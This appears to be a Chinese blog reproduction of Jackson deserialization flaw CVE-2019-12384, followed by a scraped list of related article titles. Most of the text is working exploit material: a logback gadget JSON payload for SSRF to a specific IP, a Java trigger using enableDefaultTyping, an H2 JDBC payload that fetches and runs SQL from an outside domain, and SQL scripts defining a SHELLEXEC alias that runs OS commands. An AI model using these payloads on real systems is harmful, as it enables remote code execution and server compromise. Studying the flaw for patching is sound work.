文章参考:https://blog.doyensec.com/2019/07/22/jackson-gadgets.html

环境搭建

引入jar包:

ssrf payload:

"[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:tcp://139.196.103.119:9999/test\"}]"

Main方法:

import java.io.IOException;

import com.fasterxml.jackson.databind.ObjectMapper;

import com.fasterxml.jackson.databind.SerializationFeature;

public class Test {

public static void main(String[] args) throws IOException {

String payload = "[\"ch.qos.logback.core.db.DriverManagerConnectionSource\","

+ " {\"url\":\"jdbc:h2:tcp://139.196.103.119:9999/test\"}]";

ObjectMapper mapper = new ObjectMapper();

mapper.enableDefaultTyping();

// mapper.configure(SerializationFeature.FAIL_ON_EMPTY_BEANS, false);

Object obj = mapper.readValue(payload, java.lang.Object.class);

mapper.writeValueAsString(obj);

}

}

rce payload:

"[\"ch.qos.logback.core.db.DriverManagerConnectionSource\", {\"url\":\"jdbc:h2:mem:;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://www.a0xpg.com/inject_win.sql'\"}]";

inject_win.sql

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {

String[] command = {"cmd", "/c", cmd};

java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");

return s.hasNext() ? s.next() : ""; }

$$;

CALL SHELLEXEC('calc')

inject_linux.sql

CREATE ALIAS SHELLEXEC AS $$ String shellexec(String cmd) throws java.io.IOException {

String[] command = {"bash", "-c", cmd};

java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(command).getInputStream()).useDelimiter("\\A");

return s.hasNext() ? s.next() : ""; }

$$;

CALL SHELLEXEC('id > exploited.txt')

jackson框架java反序列化漏洞_Jackson CVE-2019-12384: 反序列化漏洞复现相关推荐

  1. java jackson教程_史上最全的Jackson框架使用教程

    简单介绍 别再使用 fastJson 了!漏洞天天报,Bug 修不完.快来拥抱 Jackson 吧! Jackson 是用来序列化和反序列化 json 的 Java 的开源框架.Spring MVC ...

  2. .net byte转java byte_CVE20200688的武器化与.net反序列化漏洞那些事

    0x00 前言CVE-2020-0688是Exchange一个由于默认加密密钥造成的反序列化漏洞,该漏洞存在于Exchange Control Panel(ecp)中,不涉及Exchange的工作逻辑 ...

  3. java栈溢出漏洞cve,TP-Link WR841N 栈溢出漏洞(CVE-2020-8423)分析

    简介 前段时间 TP-LINK TL-WR841N 设备爆出了一个认证后的栈溢出漏洞,借机复现了一下这个栈溢出漏洞,其中有一些在漏洞利用上的小技巧在此和大家分享一下. 漏洞信息如下: 漏洞编号:CVE ...

  4. 史上最全的Jackson框架使用教程

    简单介绍 别再使用 fastJson 了!漏洞天天报,Bug 修不完.快来拥抱 Jackson 吧! Jackson 是用来序列化和反序列化 json 的 Java 的开源框架.Spring MVC ...

  5. AI Security3-通用漏洞披露(CVE: Common Vulnerabilities and Exposures)

    这是目录 1 漏洞的来源 2 漏洞分析 2.1 数据来源 2.2 数据分析 3 举例 回顾之前的内容 逃逸攻击 投毒攻击 在前文中,我们介绍了Attack AI的基础概念,即黑客对AI发起的攻击,主要 ...

  6. Jackson 框架,轻易转换JSON

    Jackson可以轻松的将Java对象转换成json对象和xml文档,同样也可以将json.xml转换成Java对象. 前面有介绍过json-lib这个框架,在线博文:http://www.cnblo ...

  7. Jackson 框架使用说明,轻易转换JSON【转】

    Jackson 框架 使用说明 Jackson可以轻松的将Java对象转换成json对象和xml文档,同样也可以将json.xml转换成Java对象. 前面有介绍过json-lib这个框架,在线博文: ...

  8. Jackson 框架使用教程,轻易转换JSON

    Jackson可以轻松的将Java对象转换成json对象和xml文档,同样也可以将json.xml转换成Java对象. 前面有介绍过json-lib这个框架,在线博文:http://www.open- ...

  9. Java - Jackson JSON Java Parser API

    文章目录 概述 依赖 Jackson JSON示例 基础数据 JSON转换为Java对象 Jackson JSON –将JSON转换为Map 概述 Jackson JSON Java Parser非常 ...

  10. fastjson反序列化漏洞_漏洞预警Fastjson再爆反序列化代码执行漏洞;星巴克被发现存在信息泄露风险...

    漏洞预警 Fastjson再次爆出通杀的反序列化代码执行漏洞 漏洞信息 据态势感知平台监测,网络上再次出现此前未曾发现的fastjson反序列化攻击向量. Fastjson是由阿里巴巴推出基于Java ...

最新文章

  1. 赛门铁克针对勒索软件WannaCry发布全球预警
  2. admui3字体无法删除_被微信好友删除、拉黑还不知?这3个方法可以自查,看完涨知识了...
  3. PHP 错误与异常的日志记录
  4. 基于FPGA的OLED屏幕开发
  5. web开发课程培训,10大前端常用算法,学习路线+知识点梳理
  6. 深入理解ES6 pdf
  7. LeetCode 64.最小路径和(动态规划)
  8. 关于中国男女的一些私密数据......
  9. JDK的KeyTool和KeyStore等加密相关
  10. MySQL 8.0.12 基于Windows 安装教程
  11. RSA算法和SM2算法对比
  12. 方正飞翔加密锁_方正飞翔6.0数字版注册机
  13. CMOS Image Sensor的DVP接口硬件设计
  14. MTK6589手机工程模式调大各种音量方法
  15. FPGA IP核之FIFO
  16. 写作分册王诚pdf_后王诚时代|老铁们,管综写作还能跟谁?
  17. 工业生产ERP系统常见的五大统计分析功能
  18. linux修改文件名的三种方法
  19. c语言编写“输入密码,是否登录成功的程序”
  20. Visual studio 2015 未能正确加载“Microsoft.VisualStudio.Editor.Implementation.EditorPackage”包

热门文章

  1. js正则表达式--个人常用
  2. touch 创建一个普通文件或更新已有文件的时间
  3. 安装时间大于30秒_高送转第一股秒板,封单金额近百亿!最新高送转潜力股名单曝光...
  4. linux 挂载ntfs移动硬盘,centos6.5 挂载ntfs格式移动硬盘
  5. golang 判断时间是否是 rfc3339_[Golang实现JVM第一篇] 知识准备amp;前言
  6. Greg and Array CodeForces 296C 差分数组
  7. sem_timedwait的用法
  8. Ubuntu GitHub操作——使用仓库
  9. 18.10 汇编语句
  10. (转载)李开复:我在硅谷看到的最前沿科技趋势